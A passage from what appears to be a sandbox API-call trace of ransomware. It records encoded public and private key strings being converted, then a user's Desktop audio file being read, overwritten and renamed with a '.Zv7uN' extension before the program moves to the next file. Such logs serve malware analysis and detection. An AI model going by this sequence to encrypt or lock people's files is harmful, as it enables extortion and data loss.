UvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0127.144] GetCurrentThreadId () returned 0xa30 [0127.144] GetCurrentThreadId () returned 0xa30 [0127.144] GetCurrentThreadId () returned 0xa30 [0127.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.145] GetCurrentThreadId () returned 0xa30 [0127.146] GetCurrentThreadId () returned 0xa30 [0127.146] GetCurrentThreadId () returned 0xa30 [0127.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcypqb3te.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.146] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.146] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.146] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x6846 [0127.146] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.147] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x6846, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x6846, lpOverlapped=0x0) returned 1 [0127.149] CloseHandle (hObject=0x120) returned 1 [0127.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcypqb3te.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.153] WriteFile (in: hFile=0x120, lpBuffer=0x1f00fa0*, nNumberOfBytesToWrite=0x6846, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f00fa0*, lpNumberOfBytesWritten=0x18f978*=0x6846, lpOverlapped=0x0) returned 1 [0127.156] CloseHandle (hObject=0x120) returned 1 [0127.157] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcypqb3te.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcypqb3te.m4a.zv7un")) returned 1 [0127.159] GetCurrentThreadId () returned 0xa30 [0127.159] GetCurrentThreadId () returned 0xa30 [0127.159] GetCurrentThreadId () returned 0xa30 [0127.160] GetCurrentThreadId () returned 0xa30 [0127.160] GetCurrentThreadId () returned 0xa30 [0127.160] GetCurrentThreadId () returned 0xa30 [0127.160] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9000cd0, ftCreationTime.dwHighDateTime=0x1d5dd2e, ftLastAccessTime.dwLowDateTime=0xd9ee4fe0, ftLastAccessTime.dwHighDateTime=0x1d5e6e9, ftLastWriteTime.dwLowDateTime=0xd9ee4fe0, ftLastWriteTime.dwHighDateTime=0x1d5e6e9, nFileSizeHigh=0x0, nFileSizeLow=0x14174, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="wTlPzMDy.mp3", cAlternateFileName="")) returned 1 [0127.160] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.160] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtlpzmdy.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9000cd0, ftCreationTime.dwHighDateTime=0x1d5dd2e, ftLastAccessTime.dwLowDateTime=0xd9ee4fe0, ftLastAccessTime.dwHighDateTime=0x1d5e6e9, ftLastWriteTime.dwLowDateTime=0xd9ee4fe0, ftLastWriteTime.dwHighDateTime=0x1d5e6e9, nFileSizeHigh=0x0, nFileSizeLow=0x14174)) returned 1 [0127.160] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtlpzmdy.mp3")) returned 0x20 [0127.160] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3", dwFileAttributes=0x80) returned 1 [0127.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0127.196] GetCurrentThreadId () returned 0xa30 [0127.196] GetCurrentThreadId () returned 0xa30 [0127.196] GetCurrentThreadId () returned 0xa30 [0127.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 